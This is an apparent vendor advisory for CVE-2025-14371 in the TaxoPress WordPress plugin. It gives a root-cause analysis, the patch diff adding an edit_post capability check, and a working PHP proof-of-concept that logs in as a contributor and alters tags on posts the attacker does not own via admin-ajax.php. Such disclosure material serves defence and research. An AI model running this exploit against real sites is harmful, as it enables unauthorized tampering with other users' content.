Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14371: TaxoPress <= 3.41.0 – Missing Authorization to Authenticated (Contributor+) Arbitrary Post Tag Modification (simple-tags)

Plugin simple-tags
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.41.0
Patched Version 3.42.0
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14371:
This vulnerability is a missing authorization flaw in the TaxoPress WordPress plugin. The plugin fails to verify a user’s permission to edit a specific post before allowing taxonomy term modifications via its AI autotagger feature. This allows authenticated users with Contributor-level permissions or higher to arbitrarily add or remove tags and categories from any post, including those they do not own.

Atomic Edge research identifies the root cause in the taxopress_ai_add_post_term function within the TaxoPressAiAjax class. The vulnerable code path resides in the file simple-tags/modules/taxopress-ai/classes/TaxoPressAiAjax.php. The function processes AJAX requests to modify post terms but lacks a capability check before line 776 in the patched version. The function accepts post_id, added_tags, and removed_tags parameters without verifying the current user has edit_post capability for the target post.

The exploitation method involves an authenticated attacker sending a crafted POST request to the WordPress admin-ajax.php endpoint. The attacker must set the action parameter to taxopress_ai_add_post_term. The request must include a valid post_id parameter targeting any existing post, along with added_tags or removed_tags parameters containing term IDs. The attacker requires Contributor-level access or higher, but does not need ownership of the target post. No nonce validation is required for this attack vector.

The patch adds a capability check at line 776 in TaxoPressAiAjax.php. The fix inserts a conditional statement that calls current_user_can(‘edit_post’, $post_id) before processing term modifications. If the check fails, the function returns a JSON error response and exits. This ensures only users with explicit edit permission for a post can modify its taxonomy terms through the AI autotagger interface. The patch also includes unrelated changes to term ordering logic in other files.

Successful exploitation allows attackers to modify taxonomy terms on any post. This violates WordPress’s core permission model where Contributors can only edit their own posts. Attackers could add inappropriate tags to sensitive posts, remove important categorization, or manipulate term clouds and related content features. While the impact is limited to taxonomy manipulation and does not allow direct post content modification, it can disrupt site organization and potentially enable social engineering or SEO manipulation attacks.

Differential between vulnerable and patched code

Code Diff
--- a/simple-tags/inc/terms-table.php
+++ b/simple-tags/inc/terms-table.php
@@ -118,9 +118,34 @@
         $selected_post_type = (!empty($_REQUEST['terms_filter_post_type'])) ? [sanitize_text_field($_REQUEST['terms_filter_post_type'])] : '';
         $selected_taxonomy = (!empty($_REQUEST['terms_filter_taxonomy'])) ? sanitize_text_field($_REQUEST['terms_filter_taxonomy']) : '';

-        $order_setting = isset($taxonomy_settings[$selected_taxonomy]['order']) ? $taxonomy_settings[$selected_taxonomy]['order'] : 'desc';
+        $allowed_orderby = ['name', 'slug', 'taxonomy', 'count', 'id'];
+        $allowed_order   = ['asc', 'desc'];
+
+        $requested_orderby = !empty($_REQUEST['orderby']) ? sanitize_key($_REQUEST['orderby']) : '';
+        $requested_order   = !empty($_REQUEST['order'])   ? strtolower(sanitize_text_field($_REQUEST['order'])) : '';
+
+        if (!in_array($requested_orderby, $allowed_orderby, true)) {
+            $requested_orderby = '';
+        }
+        if (!in_array($requested_order, $allowed_order, true)) {
+            $requested_order = '';
+        }
+
+        $order_setting   = isset($taxonomy_settings[$selected_taxonomy]['order'])   ? strtolower($taxonomy_settings[$selected_taxonomy]['order'])   : 'desc';
         $orderby_setting = isset($taxonomy_settings[$selected_taxonomy]['orderby']) ? $taxonomy_settings[$selected_taxonomy]['orderby'] : 'ID';

+        $orderby_setting = strtolower($orderby_setting);
+        if ($orderby_setting === 'id' || $orderby_setting === 'term_id') {
+            $orderby_setting = 'id';
+        }
+
+        if ($requested_orderby) {
+            $orderby_setting = $requested_orderby;
+        }
+        if ($requested_order) {
+            $order_setting = $requested_order;
+        }
+
         // If viewing via taxopress_terms_taxonomy, override to show all terms in that taxonomy
         if (!empty($_REQUEST['taxopress_terms_taxonomy'])) {
             $selected_taxonomy = sanitize_text_field($_REQUEST['taxopress_terms_taxonomy']);
@@ -138,6 +163,12 @@
         foreach ($taxonomies as $taxonomy) {
             $order_setting = isset($taxonomy_settings[$taxonomy]['order']) ? $taxonomy_settings[$taxonomy]['order'] : 'desc';
             $orderby_setting = isset($taxonomy_settings[$selected_taxonomy]['orderby']) ? $taxonomy_settings[$selected_taxonomy]['orderby'] : 'ID';
+            if ($requested_orderby) {
+                $orderby_setting = $requested_orderby;
+            }
+            if ($requested_order) {
+                $order_setting = $requested_order;
+            }
             if ($order_setting === 'taxopress_term_order') {
                 $manual_order = true;
                 break;
@@ -160,7 +191,6 @@
                     'pad_counts' => true,
                     'update_term_meta_cache' => true,
                     'search' => $search,
-                    'include' => 'all',
                 ];

                 if (!$use_custom_order) {
@@ -235,7 +265,6 @@
             'order' => $order_setting,
             'search' => $search,
             'hide_empty' => false,
-            'include' => 'all',
             'pad_counts' => true,
             'update_term_meta_cache' => true,
         ];
@@ -252,6 +281,13 @@
             return [];
         }

+        if (!empty($requested_orderby) && $requested_orderby === 'taxonomy') {
+            usort($terms, function ($a, $b) use ($order_setting) {
+                $cmp = strcmp($a->taxonomy, $b->taxonomy);
+                return ($order_setting === 'desc') ? -$cmp : $cmp;
+            });
+        }
+
         if ($orderby_setting === 'random') {
             shuffle($terms);
             if ($order_setting === 'desc') {
--- a/simple-tags/inc/terms.php
+++ b/simple-tags/inc/terms.php
@@ -211,8 +211,11 @@
     public function page_manage_terms()
     {
         // Default order
+        if (!isset($_GET['orderby'])) {
+            $_GET['orderby'] = 'name';
+        }
         if (!isset($_GET['order'])) {
-            $_GET['order'] = 'name-asc';
+            $_GET['order'] = 'asc';
         }

         settings_errors(__CLASS__);
--- a/simple-tags/modules/taxopress-ai/classes/TaxoPressAiAjax.php
+++ b/simple-tags/modules/taxopress-ai/classes/TaxoPressAiAjax.php
@@ -776,6 +776,13 @@
                     $post_type_label = $post_type_details->labels->singular_name;
                 }

+                if (!current_user_can('edit_post', $post_id)){
+                    $response['status'] = 'error';
+                    $response['content'] = esc_html__('You do not have permission to edit this post.', 'simple-tags');
+                    wp_send_json($response);
+                    exit;
+                }
+
                 if (empty($added_tags) && empty($removed_tags)) {
                     $response['status'] = 'error';
                     $response['content'] = sprintf(esc_html__('Click Term to select or deselect from this %1s', 'simple-tags'), esc_html($post_type_label));
--- a/simple-tags/simple-tags.php
+++ b/simple-tags/simple-tags.php
@@ -3,7 +3,7 @@
  * Plugin Name: TaxoPress
  * Plugin URI: https://wordpress.org/plugins/simple-tags/
  * Description: TaxoPress allows you to create and manage Tags, Categories, and all your WordPress taxonomy terms.
- * Version: 3.41.0
+ * Version: 3.42.0
  * Author: TaxoPress
  * Author URI: https://taxopress.com
  * Text Domain: simple-tags
@@ -51,7 +51,7 @@
 }

 if (!defined('STAGS_VERSION')) {
-define('STAGS_VERSION', '3.41.0');
+define('STAGS_VERSION', '3.42.0');
 }


--- a/simple-tags/vendor/autoload.php
+++ b/simple-tags/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit4391545f5a841c6c763f54eb9d2770b9::getLoader();
+return ComposerAutoloaderInitc0b9cf8651db3495f9b5dfbdda71f0d8::getLoader();
--- a/simple-tags/vendor/composer/autoload_real.php
+++ b/simple-tags/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit4391545f5a841c6c763f54eb9d2770b9
+class ComposerAutoloaderInitc0b9cf8651db3495f9b5dfbdda71f0d8
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit4391545f5a841c6c763f54eb9d2770b9', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitc0b9cf8651db3495f9b5dfbdda71f0d8', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit4391545f5a841c6c763f54eb9d2770b9', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitc0b9cf8651db3495f9b5dfbdda71f0d8', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit4391545f5a841c6c763f54eb9d2770b9::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit4391545f5a841c6c763f54eb9d2770b9::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/simple-tags/vendor/composer/autoload_static.php
+++ b/simple-tags/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit4391545f5a841c6c763f54eb9d2770b9
+class ComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8
 {
     public static $files = array (
         '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php',
@@ -54,10 +54,10 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit4391545f5a841c6c763f54eb9d2770b9::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit4391545f5a841c6c763f54eb9d2770b9::$prefixDirsPsr4;
-            $loader->prefixesPsr0 = ComposerStaticInit4391545f5a841c6c763f54eb9d2770b9::$prefixesPsr0;
-            $loader->classMap = ComposerStaticInit4391545f5a841c6c763f54eb9d2770b9::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8::$prefixDirsPsr4;
+            $loader->prefixesPsr0 = ComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8::$prefixesPsr0;
+            $loader->classMap = ComposerStaticInitc0b9cf8651db3495f9b5dfbdda71f0d8::$classMap;

         }, null, ClassLoader::class);
     }
--- a/simple-tags/vendor/composer/installed.php
+++ b/simple-tags/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'taxopress/simple-tags',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'ffc503b436bc850fc2d9e7b23efe09e20cc5a3fd',
+        'reference' => '64fe583c0ddd325962283417f6ed7044fb219975',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -49,7 +49,7 @@
         'taxopress/simple-tags' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'ffc503b436bc850fc2d9e7b23efe09e20cc5a3fd',
+            'reference' => '64fe583c0ddd325962283417f6ed7044fb219975',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14371 - TaxoPress <= 3.41.0 - Missing Authorization to Authenticated (Contributor+) Arbitrary Post Tag Modification

<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
$target_post_id = 1; // ID of post the attacker does not own

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Authenticate to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $target_url),
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Exploit the missing authorization check
$exploit_data = array(
    'action' => 'taxopress_ai_add_post_term',
    'post_id' => $target_post_id,
    'added_tags' => '42,17', // Term IDs to add
    'removed_tags' => '8'    // Term ID to remove
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$response = curl_exec($ch);

// Parse response
$result = json_decode($response, true);
if (isset($result['status']) && $result['status'] === 'success') {
    echo "[+] Successfully modified terms on post ID: $target_post_idn";
    echo "[+] Response: " . print_r($result, true);
} else {
    echo "[-] Exploit failed. Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School